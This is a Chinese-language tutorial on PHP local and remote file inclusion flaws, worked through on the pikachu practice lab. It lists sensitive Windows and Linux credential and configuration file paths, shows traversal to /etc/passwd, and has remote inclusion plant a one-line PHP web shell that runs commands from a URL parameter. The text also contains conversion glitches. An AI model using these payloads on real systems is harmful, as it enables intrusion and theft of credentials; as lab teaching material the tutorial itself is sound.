文件包含漏洞

0X00:前言

web安全之文件包含漏洞,本地包含漏洞和远程包含漏洞,主要缘由是后端没有对前端传来的文件名进行限制,前端用户能够随意修改文件名,本后端执行。php

文件包含函数加载的参数没有通过过滤或者严格的定义,能够被用户控制,包含其余恶意文件,致使了执行了非预期的代码html

 

产生背景:开发过程当中,多个文件都会用到的代码,一般会放到一个单独的文件中,用到时再包含进来。当把包含的文件写死在程序中时,该漏洞是不存在的,但不少状况都会动态的去包含所需的文件,这时候则会产生文件包含漏洞前端

 

本地包含就是文件名为本地的一些秘密文件(如/etc/password)mysql

远程文件包含,是PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数能够加载远程文件,执行攻击者服务器上的恶意脚本web

 

include和require语句相同,除了错误处理方法方面:sql

-include 只会生成警告(E_WARNING),而且脚本会继续apache

-require 会生成致命错误(E_COMPILE_ERROR)并中止脚本windows

include_once:和 include 相似,不一样处在于 include_once 会检查这个文件是否已经被导入,若是已导入,下文便不会再导入,直面 once 理解就是只导入一次后端

require_once:和 require 相似,不一样处在于 require_once 只导入一次安全

 

0X01:本地文件包含

(1)常见敏感路径

测试环境pikachu

 

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 帐户信息

/etc/shadow // 帐户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

(2)

 

 url:http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4

发现改变的是filename参数

后端代码

if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没作任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}

变量传进来直接包含,没作任何的安全限制

将filename换成../../../../etc/passwd  liunx后台固定配置文件;../../../../../是目录跳转

对应的windows能够换成其余文件

 

小彩蛋file6

 

0X02:远程文件包含

(1)

allow_url_fopen = On(默认打开)

allow_url_include = On(默认关闭)

到php.ini中打开,实际状况应该测试站点本身打开,或者强制打开

 

(2)在远程站点设置攻击脚本

 

目的是 在测试站点目录下生成一个yijuhua.php,内容是<?php system($_GET[x]);?>

正常页面

(3)将filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt以前:

(4)将filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt以后:

 

OK目录中出现了yijuhua.php,攻击成功

 

(5)如何利用呢

pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt&submit=提交

通常状况下和fi_remote.php在同一个目录

 

 

yijuhua.php?x=dir

x能够是其余命令ipconfig等等

0Xff:总结

https://www.freebuf.com/articles/web/182280.html这里有篇文章,本地包含里讲了好多种,有的我学了以后在补充上。

我以为文件包含漏洞通常用来收集信息、上床一句话木马等,还缺少实践。

相关文章
相关标签/搜索